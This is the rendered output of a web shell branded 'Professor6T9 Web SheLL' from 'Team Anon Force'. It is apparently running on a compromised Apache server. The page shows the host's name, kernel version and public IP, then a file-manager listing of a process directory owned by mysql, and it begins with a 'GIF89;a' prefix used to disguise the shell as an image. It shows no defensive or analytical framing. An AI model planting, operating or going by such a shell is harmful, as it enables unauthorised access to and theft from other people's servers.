GIF89;aGIF89;aGIF89;a

Team Anon Force

https://t.me/Professor6T9x

Professor6T9 Web SheLL
 Linux server1.hnhtechsolutions.com 4.18.0-553.78.1.el8_10.x86_64 #1 SMP Tue Oct 7 04:15:13 EDT 2025 x86_64
 Apache
 198.177.124.167
Name Type Size Owner/Group Permission Last Modified Actions
. dir - mysql/mysql 0555 2026-02-12 01:46:51
.. dir - root/root 0555 2026-02-01 05:06:47
attr dir - mysql/mysql 0555 2026-02-21 07:59:54
fd dir - mysql/mysql 0500 2026-02-12 01:46:51
fdinfo dir - mysql/mysql 0500 2026-02-21 07:59:54
map_files dir - mysql/mysql 0500 2026-02-21 07:59:54
net dir - mysql/mysql 0555 2026-02-21 07:59:54
ns dir - mysql/mysql 0511 2026-02-21 07:59:54
task dir - mysql/mysql 0555 2026-02-12 01:47:00
autogroup text/plain 0 B mysql/mysql 0644 2026-02-21 07:59:54
auxv 0 B mysql/mysql 0400 2026-02-21 07:59:54
cgroup text/plain 0 B mysql/mysql 0444 2026-02-21 07:59:54
clear_refs 0 B mysql/mysql 0200 2026-02-21 07:59:54
cmdline text/plain 0 B mysql/mysql 0444 2026-02-12 01:46:51
comm text/plain 0 B mysql/mysql 0644 2026-02-21 07:59:54
coredump_filter text/plain 0 B mysql/mysql 0644 2026-02-21 07:59:54
cpu_resctrl_groups text/plain 0 B mysql/mysql 0444 2026-02-21 07:59:54
cpuset application/octet-stream 0 B mysql/mysql 0444 2026-02-21 07:59:54
environ 0 B mysql/mysql 0400 2026-02-21 07:59:54
gid_map text/plain 0 B mysql/mysql 0644 2026-02-21 07:59:54
io 0 B mysql/mysql 0400 2026-02-21 07:59:54
limits text/plain 0 B mysql/mysql 0444 2026-02-21 07:59:54
loginuid text/plain 0 B mysql/mysql 0644 2026-02-21 07:59:54
maps 0 B mysql/mysql 0444 2026-02-12 01:46:51
mem 0 B mysql/mysql 0600 2026-02-21 07:59:54
mountinfo text/plain 0 B mysql/mysql 0444 2026-02-12 01:46:51
mounts text/plain 0 B mysql/mysql 0444 2026-02-21 07:59:54
mountstats 0 B mysql/mysql 0400 2026-02-21 07:59:54
numa_maps 0 B mysql/mysql 0444 2026-02-21 07:59:54
oom_adj application/octet-stream 0 B mysql/mysql 0644 2026-02-21 07:59:54
oom_score text/plain 0 B mysql/mysql 0444 2026-02-21 07:59:54
oom_score_adj application/octet-stream 0 B mysql/mysql 0644 2026-02-21 07:59:54
pagemap 0 B mysql/mysql 0400 2026-02-21 07:59:54
patch_state 0 B mysql/mysql 0400 2026-02-21 07:59:54
personality 0 B mysql/mysql 0400 2026-02-21 07:59:54
projid_map text/plain 0 B mysql/mysql 0644 2026-02-21 07:59:54
sched text/plain 0 B mysql/mysql 0644 2026-02-21 07:59:54
schedstat text/plain 0 B mysql/mysql 0444 2026-02-21 07:59:54
sessionid text/plain 0 B mysql/mysql 0444 2026-02-21 07:59:54
setgroups text/plain 0 B mysql/mysql 0644 2026-02-21 07:59:54
smaps 0 B mysql/mysql 0444 2026-02-21 07:59:54
smaps_rollup 0 B mysql/mysql 0444 2026-02-21 07:59:54
stack 0 B mysql/mysql 0400 2026-02-21 07:59:54
stat text/plain 0 B mysql/mysql 0444 2026-02-12 01:46:51
statm text/plain 0 B mysql/mysql 0444 2026-02-12 01:50:02
status text/plain 0 B mysql/mysql 0444 2026-02-12 01:46:51
syscall 0 B mysql/mysql 0400 2026-02-21 07:59:54
timens_offsets text/plain 0 B mysql/mysql 0644 2026-02-21 07:59:54
timers application/x-empty 0 B mysql/mysql 0444 2026-02-21 07:59:54
timerslack_ns 0 B mysql/mysql 0666 2026-02-21 07:59:54
uid_map text/plain 0 B mysql/mysql 0644 2026-02-21 07:59:54
wchan application/octet-stream 0 B mysql/mysql 0444 2026-02-21 07:59:54
© Professor6T9